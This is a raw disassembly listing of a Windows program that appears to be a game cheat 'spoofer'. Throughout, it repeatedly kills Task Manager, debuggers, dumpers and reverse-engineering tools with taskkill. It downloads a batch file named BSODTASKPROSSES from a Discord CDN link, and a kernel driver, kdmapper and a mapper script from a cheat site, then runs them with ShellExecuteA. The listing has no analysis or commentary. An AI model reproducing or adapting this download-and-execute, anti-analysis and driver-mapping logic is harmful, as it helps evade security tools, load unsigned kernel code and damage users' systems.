xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoREMAKEALLINONESPOOFER.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoDISK1.sys
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adokdmapper.exe
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoDriverMapper1.bat
call fcn.1402b632c
lea rcx, [0x140392e48]
call fcn.1402b632c
lea rcx, [0x140392e80]
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adokdmapper.exe
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoDriverMapper.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adomacchangerdriver.sys
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adokdmapper.exe
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoMACCHANGERdriverinstaller.bat
call fcn.1402b632c
lea rcx, [rsp + 0xa6d0]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xa6f0]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xa710]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xa9f0]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xaa10]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xaa30]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xaa50]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xaa70]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xaa90]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xaab0]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xaad0]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xaaf0]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xab10]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xab30]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xab50]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xab70]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xab90]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xabb0]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xabd0]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xabf0]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xac10]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xac30]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xac50]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xac70]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xac90]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xacb0]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xacd0]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xacf0]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xad10]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xad30]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xad50]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xad70]
call fcn.14005d8e0
cmp dword [0x140406d74], 3
jne 0x1400945b5
call fcn.14006ba20
call fcn.14006ba70
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Battle.net
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Battle.net.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
lea rdx, str._thttps:__cdn.discordapp.com_attachments_1140870881128742992_1145307096582201414_BSODTASKPROSSES.bat
lea rcx, [rsp + 0xa9d0]
call fcn.14005d9d0
nop
lea rdx, str.C:Program_FilesCommon_FilesSystem_adoBSODTASKPROSSES.bat
lea rcx, [rsp + 0xa9b0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0xa9b0]
call fcn.14005d8d0
mov qword [rsp + 0x1230], rax
lea rcx, [rsp + 0xa9d0]
call fcn.14005d8d0
mov qword [rsp + 0x1238], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x1230]
mov rdx, qword [rsp + 0x1238]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.C:Program_FilesCommon_FilesSystem_adoBSODTASKPROSSES.bat
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Battle.net
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Battle.net.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
mov r9d, Ordinal_50
lea r8, str.REMINDER_YOU_CAN_ONLY_USE_THIS_METHOD_ONCE_PER_RESTART
lea rdx, str.REMINDER_YOU_CAN_ONLY_USE_THIS_METHOD_ONCE_PER_RESTART
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Battle.net
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Battle.net.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
lea rdx, str._thttps:__cdn.discordapp.com_attachments_1140870881128742992_1145307096582201414_BSODTASKPROSSES.bat
lea rcx, [rsp + 0xa990]
call fcn.14005d9d0
nop
lea rdx, str.C:Program_FilesCommon_FilesSystem_adoBSODTASKPROSSES.bat
lea rcx, [rsp + 0xa970]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0xa970]
call fcn.14005d8d0
mov qword [rsp + 0x1240], rax
lea rcx, [rsp + 0xa990]
call fcn.14005d8d0
mov qword [rsp + 0x1248], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x1240]
mov rdx, qword [rsp + 0x1248]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
lea rdx, str.http:__nxtg3ncheats.com_download_ADVACNEDAIO_UNDETECTEDADVACNEDMULTIWOOFERV2AIO_TEMP_RANDOMIZEDISK.sys
lea rcx, [rsp + 0xa950]
call fcn.14005d9d0
nop
lea rdx, str.C:Program_FilesCommon_FilesSystem_adoRANDOMIZEDISK.sys
lea rcx, [rsp + 0xa930]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0xa930]
call fcn.14005d8d0
mov qword [rsp + 0x1250], rax
lea rcx, [rsp + 0xa950]
call fcn.14005d8d0
mov qword [rsp + 0x1258], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x1250]
mov rdx, qword [rsp + 0x1258]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
lea rdx, str.http:__nxtg3ncheats.com_download_ADVACNEDAIO_UNDETECTEDADVACNEDMULTIWOOFERV2AIO_TEMP_kdmapper.exe
lea rcx, [rsp + 0xa910]
call fcn.14005d9d0
nop
lea rdx, [0x1403925a8]
lea rcx, [rsp + 0xa8f0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0xa8f0]
call fcn.14005d8d0
mov qword [rsp + 0x1260], rax
lea rcx, [rsp + 0xa910]
call fcn.14005d8d0
mov qword [rsp + 0x1268], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x1260]
mov rdx, qword [rsp + 0x1268]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
lea rdx, str.http:__nxtg3ncheats.com_download_ADVACNEDAIO_UNDETECTEDADVACNEDMULTIWOOFERV2AIO_TEMP_randomizermapper.bat
lea rcx, [rsp + 0xa8d0]
call fcn.14005d9d0
nop
lea rdx, str.C:Program_FilesCommon_FilesSystem_ado_randomizermapper.bat
lea rcx, [rsp + 0xa8b0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0xa8b0]
call fcn.14005d8d0
mov qword [rsp + 0x1270], rax
lea rcx, [rsp + 0xa8d0]
call fcn.14005d8d0
mov qword [rsp + 0x1278], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x1270]
mov rdx, qword [rsp + 0x1278]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.C:Program_FilesCommon_FilesSystem_ado_randomizermapper.bat
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
